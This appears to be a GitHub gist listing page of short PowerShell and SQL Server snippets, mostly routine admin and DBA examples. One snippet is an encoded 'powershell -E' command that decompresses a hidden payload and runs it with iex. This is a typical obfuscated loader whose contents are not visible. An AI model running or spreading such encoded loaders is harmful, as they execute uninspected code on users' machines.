This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
More about Feedly API - #The feedly Cloud API - https://developer.feedly.com/ | |
What are the differences with a regular access token? | |
A developer access token has a longer life than a regular access token: it expire after 30 days (instead of one week). | |
It can be renewed by feedly pro accounts. It is limited to 250 API requests per day | |
#> | |
######################### Global variable ####################################### |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try | |
{ | |
Get-Function | |
} | |
catch | |
{ | |
$_.Exception.Message | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try | |
{ | |
Get-Item E:\File | |
} | |
catch | |
{ | |
$_.Exception.Message | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try | |
{ | |
Get-ItemFile | |
} | |
catch{ | |
Write-Host $_.Exception.Message | |
} | |
finally | |
{ | |
Write-Host "koniec przykładu ..." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powercfg /list | |
<# | |
Existing Power Schemes (* Active) | |
----------------------------------- | |
Power Scheme GUID: 381b4222-f694-41f0-9685-ff5bb260df2e (Zr˘wnowaľony) * | |
Power Scheme GUID: 64e503f0-b342-49a3-be71-aea540101d3f (Zegary wyĄczone (prezentacja)) | |
Power Scheme GUID: 94334198-5f41-42e4-b4b5-6732b7e13386 (Samolotowy) | |
#> | |
$PowerSchemeGUID = "381b4222-f694-41f0-9685-ff5bb260df2e" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powershell -E "cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABZAHgAQgBDAHMASQB3AEYAQQBXAHYAOABpAGkAVQBiAE4AcQBOAEgAcQBHAGkAZABDAE4AQwB3AEMANABsAHgASQBkADgAbQBpAGIANAA4ADkAMgBJAGgAOQBlAGkAQwA1AGMAegBNAEgATwBnADkAWQBNAHMAWQA2ADQAVwBjAGkAUQBtAHkAZAB2AE4ANQBhAFEAbABzAGwAYgAwAGUAMABsAEcAUgBYAE0ATQBDADUARgBrAEoAcAB4AHIANgB6ADIAMQB6AGoAVgA0AHcAUgBjADEARABNAHAAZwBVAHYASQB1AEcARgBmAEgAeABHAGoANABMAGMAWgByAGgAegBYAHUATQBCAFcAZABKAGQAOAA4AHoAYwB2AHoAdwAyAGQAUgBlADQAVAAwAGgAZgAvAEgARwB3AD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.Synopsis | |
Create-AsciiImage | |
.DESCRIPTION | |
This script loads the specified image and outputs an ascii version to the pipe, line by line. | |
My version the script: | |
https://gallery.technet.microsoft.com/scriptcenter/bc15444a-9490-4115-aa40-76d898041724 | |
.EXAMPLE | |
Convert-ImageToASCII -Path C:\Temp\image.jpg -MaxWidth 30 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Get CPU Utilization History for last 256 minutes (in one minute intervals) (Query 43) (CPU Utilization History) | |
DECLARE @ts_now bigint = (SELECT cpu_ticks/(cpu_ticks/ms_ticks) FROM sys.dm_os_sys_info WITH (NOLOCK)); | |
SELECT TOP(256) SQLProcessUtilization AS [SQL Server Process CPU Utilization], | |
SystemIdle AS [System Idle Process], | |
100 - SystemIdle - SQLProcessUtilization AS [Other Process CPU Utilization], | |
DATEADD(ms, -1 * (@ts_now - [timestamp]), GETDATE()) AS [Event Time] | |
FROM (SELECT record.value('(./Record/@id)[1]', 'int') AS record_id, | |
record.value('(./Record/SchedulerMonitorEvent/SystemHealth/SystemIdle)[1]', 'int') | |
AS [SystemIdle], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.Synopsis | |
Test-LastBackups | |
Funkcja korzystająca z poleceń Test-DbaLastBackup, Out-DbaDataTable, Write-DbaDataTable modułu dbatools. | |
Służy do testowego przywracania kopii zapasowych oraz sprawdzania logicznej i fizycznej integralności obiektów w bazie danych. | |
Rezultaty zapisywane są do bazy danych określonej w parametrze -OutDatabase i tabeli - OutTable | |
.EXAMPLE | |
$paramTestLastBackups = @{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Włącz SQLCMD Mode | |
-- 1. Usunięcie bazy danych z Availability Group na instancji Primary | |
:connect db-test02 | |
ALTER AVAILABILITY GROUP [TestAG] REMOVE DATABASE [NewTestAG]; | |
GO | |
-- 2. Przywrócenie kopii pełnej, następnie w zależności o polityki kopii zapasowych kopie różnicową i na końcu logi transakcyjne | |
-- Tutaj wersja uproszczona, tylko full | |
:connect db-test02 | |
RESTORE DATABASE NewTestAG FROM DISK = N'\\db-test02\SQLBackup\f_bck_NewTestAG_200220192056.bak' |
OlderNewer